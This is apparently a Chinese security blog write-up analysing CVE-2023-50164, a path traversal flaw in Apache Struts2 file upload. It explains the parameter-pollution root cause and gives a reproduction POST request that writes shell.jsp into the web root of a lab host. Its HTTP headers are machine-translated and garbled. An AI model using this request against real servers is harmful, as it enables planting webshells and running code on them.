漏洞描述
Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。近日,Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。
漏洞分析
Struts2的默认配置通常包含,该拦截器负责处理文件上传,并将文件信息封装到相应的Action属性中。FileUploadInterceptor
正常文件上传
当我们使用默认配置上传文件,尝试路径穿越将文件上传至任意目录,测试发现无法路径穿越到任意目录
我们在打下断点,跟进代码FileUploadInterceptor#intercept()
这里跟进multiWrapper.getFileNames()
这里继续跟进getCanonicalName()
发现获取文件名是通过substring方法进行截取的,通过../../进行目录穿越是不行的。
参数污染
回到中,在获取文件名后生成了两个变量和FileUploadInterceptor#intercept()
contentTypeName
fileNameName
-
检查每一个文件是否可以被接受(根据配置规则检查,默认全部接受)
-
对可以接受的文件,将其文件名、内容类型和文件内容分别保存到三个List中(acceptedFileNames、acceptedContentTypes和acceptedFiles)
-
如果接受的文件列表不为空,则将这三个List分别封装成Parameter,并存入参数Map中:
- 文件内容列表acceptedFiles 封装成参数 inputName
- 内容类型列表 acceptedContentTypes 封装成参数 contentTypeName
- 文件名列表 acceptedFileNames 封装成参数 fileNameName
-
最后将这个参数Map 设置到上下文的Parameters中,在中对这些参数赋值
ParametersInterceptor#setParameters()
跟进ParametersInterceptor#setParameters()
这里采用创建参数HttpParameters.create()
而在新版本中,对HttpParameters做出了修改,变成了大小写不敏感,而在存在漏洞的版本中是大小写敏感的。
这导致了这里FileFileName和fileFileName会是不同的参数,都会在赋值ParametersInterceptor#setParameters()
而后面采用了使用 OGNL 表达式调用 setter 方法对变量赋值
OGNL 在查找 setter 方法时,会自动把属性名第一个字母变成大写,然后查找 setXxx() 这样的方法。
例如,如果你有一个属性名为 “name”,那么 OGNL 会查找 setName() 方法。在这个过程中,不管 name 在 OGNL 表达式中是大写还是小写,都可以正确找到 setter 方法。所以在 Struts 2 的 OGNL 表达式中,属性名的首字母大小写可以不敏感。
所以当我手动传入一个fileFileName参数,在这里也会被赋值,fileFileName和FileFileName参数会被自动映射到同一个参数上。调用相应的get方法获取值时,会取得最后赋值的那个参数的值。
那么这两个参数的赋值先后顺序呢?如果我们手动传入的参数会后赋值,就可以覆盖掉前面的参数,造成参数污染。
在TreeMap中,键(key)的排序是大小写敏感的。默认的排序规则如下:
- 大写字母会排在小写字母之前
- 数字会排在字母之前
所以当文件上传的name构造为大写开头,手动传入的污染参数构造为小写开头即可
漏洞复现
构造数据包:
POST /s2/upload.action?fileFileName=../webapps/ROOT/shell.jsp HTTP/1.1
主机:192.168.31.185:8080
内容长度:416
缓存控制:max-age=0
产地:http://192.168.31.185:8080
DNT:1
升级不安全请求:1
内容类型:multipart/form-data;边界=----WebKitFormBoundaryjYgoTIxv686oqL3F
用户代理:Mozilla/5.0 (Macintosh;Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
接受:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
推荐人:http://192.168.31.185:8080/s2/
接受编码:gzip、deflate
接受语言:zh-CN,zh;q=0.9,en;q=0.8
连接:关闭
------WebKitFormBoundaryjYgoTIxv686oqL3F
内容处置:表单数据;name=“文件”;文件名=“测试.jsp”
内容类型:application/octet-stream
测试
------WebKitFormBoundaryjYgoTIxv686oqL3F
内容处置:表单数据;name=“提交”
提交
------WebKitFormBoundaryjYgoTIxv686oqL3F--
文件上传成功,成功路径穿越到webapps目录下!
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线